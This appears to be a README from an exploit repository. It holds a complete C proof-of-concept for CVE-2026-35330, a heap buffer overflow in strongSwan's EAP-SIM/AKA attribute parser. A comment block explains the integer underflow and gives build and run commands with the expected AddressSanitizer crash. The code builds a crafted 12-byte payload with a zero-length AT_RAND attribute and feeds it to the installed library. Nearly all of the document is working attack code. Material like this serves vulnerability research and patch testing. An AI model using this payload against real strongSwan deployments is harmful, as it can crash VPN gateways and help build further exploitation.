README.md
Rendering markdown...
/*
* CVE-2026-35330 -- strongSwan EAP-SIM/AKA parse_attributes() heap
* buffer overflow. Live library exploit.
*
* This program links against the *installed* strongSwan libraries
* (libsimaka.so + libstrongswan.so) and calls the public API:
*
* simaka_message_create_from_payload(data, NULL);
* msg->parse(msg);
*
* with a crafted EAP-SIM payload whose AT_RAND attribute has
* `length == 0`. Execution reaches production code in:
*
* src/libsimaka/simaka_message.c :: parse_attributes() line 419
* src/libsimaka/simaka_message.c :: add_attribute()
*
* where `hdr->length * 4 - 4` underflows to (size_t)0xFFFFFFFFFFFFFFFC
* and the subsequent `malloc(sizeof(attr_t) + 0xFFFFFFFFFFFFFFFC)`
* yields a 12-byte allocation followed by an oversized memcpy ->
* SIGSEGV (under ASan: heap-buffer-overflow WRITE).
*
* Build (against installed strongswan, headers in /usr/include):
* gcc -fsanitize=address -g -O0 -I/usr/include poc.c \
* -lsimaka -lstrongswan -o poc
*
* Run:
* ./poc
*
* Expected ASan signature on a vulnerable strongSwan (<= 5.9.13):
* ==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
* WRITE of size 8 at ... thread T0
* #0 ... in __asan_memcpy
* #1 ... in parse_attributes simaka_message.c
* #2 ... in parse simaka_message.c
* #3 ... in main poc.c
*
* On a patched strongSwan (master >= aa5aaebc33) the parse() returns
* FALSE silently and the program prints "parse() returned FALSE
* (patched) -- attribute rejected".
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>
#include <library.h>
#include <utils/chunk.h>
#include <simaka_message.h>
/* EAP codes (RFC 3748) */
#define EAP_REQUEST 1
#define EAP_RESPONSE 2
/* EAP types */
#define EAP_TYPE_SIM 18
/* EAP-SIM subtypes (RFC 4186) */
#define SIM_START 10
#define SIM_CHALLENGE 11
/* EAP-SIM/AKA attribute types (RFC 4186 / RFC 4187) */
#define AT_RAND 1
int main(void)
{
chunk_t data;
simaka_message_t *msg;
uint8_t payload[12];
/* Init strongSwan library so libsimaka's globals are usable. */
if (!library_init(NULL, "exploit-35330")) {
fprintf(stderr, "[!] library_init() failed\n");
library_deinit();
return 1;
}
/*
* EAP-SIM header (8 bytes):
* byte 0: code = 2 (EAP_RESPONSE)
* byte 1: id = 0x42
* bytes 2-3: length = htons(12)
* byte 4: type = 18 (EAP-SIM)
* byte 5: subtype = 11 (SIM_CHALLENGE)
* bytes 6-7: reserved = 0
*/
payload[0] = EAP_RESPONSE;
payload[1] = 0x42;
payload[2] = 0x00;
payload[3] = 12;
payload[4] = EAP_TYPE_SIM;
payload[5] = SIM_CHALLENGE;
payload[6] = 0x00;
payload[7] = 0x00;
/*
* AT_RAND attribute (4 bytes):
* byte 8: type = 1 (AT_RAND)
* byte 9: length = 0 <-- triggers underflow:
* hdr->length * 4 - 4 = -4 -> SIZE_MAX-3
* bytes 10-11: reserved (any value)
*/
payload[8] = AT_RAND;
payload[9] = 0; /* <-- the bug */
payload[10] = 0x00;
payload[11] = 0x00;
data = chunk_create(payload, sizeof(payload));
printf("[*] payload (%zu bytes): ", data.len);
for (size_t i = 0; i < data.len; i++) printf("%02x ", payload[i]);
printf("\n[*] EAP-SIM header: code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\n");
printf("[*] AT_RAND header: type=1 length=0 <-- triggers underflow\n\n");
msg = simaka_message_create_from_payload(data, NULL);
if (!msg) {
fprintf(stderr, "[!] simaka_message_create_from_payload() returned NULL "
"-- header rejected\n");
library_deinit();
return 2;
}
printf("[*] simaka_message_create_from_payload() -> %p\n", (void*)msg);
printf("[*] calling msg->parse(msg) -- "
"expecting heap-buffer-overflow inside parse_attributes()...\n");
fflush(stdout);
if (msg->parse(msg)) {
printf("[?] parse() returned TRUE -- unexpected\n");
} else {
printf("[+] parse() returned FALSE (patched) -- attribute rejected\n");
}
msg->destroy(msg);
library_deinit();
return 0;
}